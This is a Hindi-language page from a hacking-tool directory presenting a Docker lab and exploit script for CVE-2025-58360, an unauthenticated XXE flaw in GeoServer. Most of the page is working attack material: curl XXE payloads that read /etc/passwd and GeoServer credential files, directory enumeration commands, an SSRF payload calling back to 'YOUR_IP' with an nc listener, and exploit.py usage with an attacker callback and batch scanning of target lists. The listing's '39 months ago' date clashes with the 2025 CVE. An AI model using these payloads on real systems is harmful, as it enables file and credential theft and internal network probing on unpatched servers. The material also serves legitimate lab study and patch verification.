Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-58360-GeoServer-XXE — Docker-आधारित लैब जो CVE-2025-58360, GeoServer WMS/OWS सेवाओं में एक महत्वपूर्ण अप्रमाणित XXE इंजेक्शन का प्रदर्शन करती है। इसमें फ़ाइल रीड, SSRF और डायरेक्टरी एनुमरेशन के लिए एक्सप्लॉइट स्क्रिप्ट शामिल है। | Kitploit
उपकरण/GitHubGitHub/joker-wiggin/cve-2025-58360-geoserver-xxe
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubjoker-wiggin/cve-2025-58360-geoserver-xxe

CVE-2025-58360-GeoServer-XXE

Docker-आधारित लैब जो CVE-2025-58360, GeoServer WMS/OWS सेवाओं में एक महत्वपूर्ण अप्रमाणित XXE इंजेक्शन का प्रदर्शन करती है। इसमें फ़ाइल रीड, SSRF और डायरेक्टरी एनुमरेशन के लिए एक्सप्लॉइट स्क्रिप्ट शामिल है।

रिपॉजिटरी देखें
39 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-58360: GeoServer XXE लैब

GeoServer OWS/WMS सेवाओं में अनऑथेंटिकेटेड XML एक्सटर्नल एंटिटी (XXE) इंजेक्शन

CVSS: 9.8 क्रिटिकल
प्रभावित: <= 2.25.5, 2.26.0-2.26.1
फिक्स्ड: 2.25.6+, 2.26.2+, 2.27.0+

अवलोकन

यह लैब CVE-2025-58360 का प्रदर्शन करती है, जो GeoServer के WMS/OWS XML अनुरोध हैंडलिंग में एक क्रिटिकल XXE कमजोरी है। यह कमजोरी अनऑथेंटिकेटेड हमलावरों को निम्नलिखित की अनुमति देती है:

  • सर्वर फाइलसिस्टम से मनमानी फाइलें पढ़ना
  • Java के file:// हैंडलर के माध्यम से डायरेक्ट्री सामग्री सूचीबद्ध करना
  • आंतरिक सेवाओं के खिलाफ SSRF हमले करना
  • GeoServer कॉन्फ़िगरेशन फाइलों से क्रेडेंशियल चुराना

मूल कारण

GeoServer की SLDParser.parseSLD() विधि बिना उचित एंटिटी रिज़ॉल्यूशन प्रतिबंधों के XML स्टाइलिंग दस्तावेज़ों को संसाधित करती है। जबकि OWS डिस्पैचर XXE को रोकने के लिए AllowListEntityResolver का उपयोग करता है, SLD पार्सिंग कोड पथ इस सुरक्षा को दरकिनार करता है:

root@kitploit:~
POST /geoserver/ows?service=WMS&request=GetMap
     |
     v
+-----------------------------+
|   OWS डिस्पैचर              | <-- EntityResolver कॉन्फ़िगर किया गया
|   (बॉडी में SLD का पता लगाता है) |
+-----------------------------+
     |
     v
+-----------------------------+
|   SLDXmlRequestReader       |
|   -> SLDHandler.parse()     |
|   -> SLDParser.parseSLD()   | <-- कोई EntityResolver नहीं!
+-----------------------------+
     |
     v
   XXE हल -> फ़ाइल/SSRF

त्वरित आरंभ

root@kitploit:~
# कमजोर और पैच किए गए दोनों इंस्टेंस शुरू करें
docker-compose up -d

# कमजोर: http://localhost:8080/geoserver
# पैच किया गया: http://localhost:8081/geoserver

# स्टार्टअप के लिए ~60 सेकंड प्रतीक्षा करें

डिफ़ॉल्ट क्रेडेंशियल: admin / geoserver


शोषण

फ़ाइल पढ़ना

root@kitploit:~
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

कमजोर प्रतिक्रिया:

root@kitploit:~
<ServiceException>
  Unknown layer: root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
</ServiceException>

पैच की गई प्रतिक्रिया:

root@kitploit:~
<ServiceException>
  Entity resolution disallowed for file:///etc/passwd
</ServiceException>

उच्च-मूल्य लक्ष्य

root@kitploit:~
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml

डायरेक्ट्री सूची

Java का file:// हैंडलर डायरेक्ट्रियों को न्यूलाइन-अलग फ़ाइल सूचियों के रूप में पढ़ता है:

root@kitploit:~
# रूट डायरेक्ट्री सूचीबद्ध करें
python3 exploit.py -u http://localhost:8080 --file /

# geoserver डेटा गणना करें
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/

आउटपुट:

root@kitploit:~
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...

यह विशिष्ट फ़ाइलों को लक्षित करने से पहले पूर्ण फाइलसिस्टम गणना की अनुमति देता है।

SSRF

root@kitploit:~
# लिसनर शुरू करें
nc -lvnp 9999

# पेलोड भेजें
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

शोषण स्क्रिप्ट का उपयोग करना

root@kitploit:~
# संस्करण जाँच
python3 exploit.py -u http://localhost:8080

# सुरक्षित जाँच (कोई डेटा निकासी नहीं)
python3 exploit.py -u http://localhost:8080 --probe

# फ़ाइल पढ़ना
python3 exploit.py -u http://localhost:8080 --file /etc/passwd

# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback

# वर्बोज़ मोड
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v

# बैच स्कैन
python3 exploit.py --list targets.txt --output vulnerable.txt

लैब सामग्री

root@kitploit:~
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py

सुधार

GeoServer 2.25.6+, 2.26.2+, या 2.27.0+ पर अपग्रेड करें


अस्वीकरण

केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए।


एल पेरो जोक

टूल डाउनलोड करें